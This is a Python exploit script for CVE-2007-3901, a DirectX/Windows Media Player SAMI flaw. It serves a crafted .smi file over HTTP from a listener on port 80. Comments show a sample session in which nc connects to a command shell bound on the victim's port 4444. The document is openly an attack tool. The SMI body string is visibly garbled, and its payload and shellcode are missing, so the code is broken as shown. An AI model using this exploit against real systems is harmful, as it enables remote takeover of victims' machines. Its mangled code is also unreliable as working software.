#!/usr/bin/python ########################################################################## # Bug discovered by Jun Mao of VeriSign iDefense # http://www.securityfocus.com/bid/26789 # CVE-2007-3901 # Coded by Matteo Memelli aka ryujin # http://www.gray-world.net http://www.be4mind.com # Tested on: Windows 2000 SP4 English, DirectX 7.0 (4.07.00.0700) #------------------------------------------------------------------------ # THX TO all the guys at www.offensive-security.com # EXPECIALLY TO ONE: THX FOR "NOT" HELPING MUTS!!! # I DONT FEEL FC4'd ANYMORE NOW :P muhahahaha #------------------------------------------------------------------------ ########################################################################## # On Windows Media Player Open---> http://attacker/anyfile.smi # .smi extension is necessary, filename can be anything. # # badrobot:/home/matte# ./mplayer.py # [+] Listening on port 80 # [+] Connection accepted from: 192.168.1.243 # [+] Payload sent, check your shell on 192.168.1.243 port 4444 # badrobot:/home/matte# nc 192.168.1.243 4444 # Microsoft Windows 2000 [Version 5.00.2195] # (C) Copyright 1985-2000 Microsoft Corp. # # C:\Documents and Settings\ryujin\Desktop>ipconfig # ipconfig # # Windows 2000 IP Configuration # # Ethernet adapter Local Area Connection: # # Connection-specific DNS Suffix . : # IP Address. . . . . . . . . . . . : 192.168.1.243 # Subnet Mask . . . . . . . . . . . : 255.255.255.0 # Default Gateway . . . . . . . . . : # # C:\Documents and Settings\ryujin\Desktop> ########################################################################## from socket import * # SMI BODY body = """ ' body += '

NICE MOVIE!

' # RESPONSE HEADER header = ( 'HTTP/1.1 200 OK\r\n' 'Content-Type: application/smil\r\n' '\r\n' ) evilbuf = header + body s = socket(AF_INET, SOCK_STREAM) s.bind(("0.0.0.0", 80)) s.listen(1) print "[+] Listening on port 80" c, addr = s.accept() print "[+] Connection accepted from: %s" % (addr[0]) c.recv(1024) c.send(evilbuf) print "[+] Payload sent, check your shell on %s port 4444" % addr[0] c.close() s.close()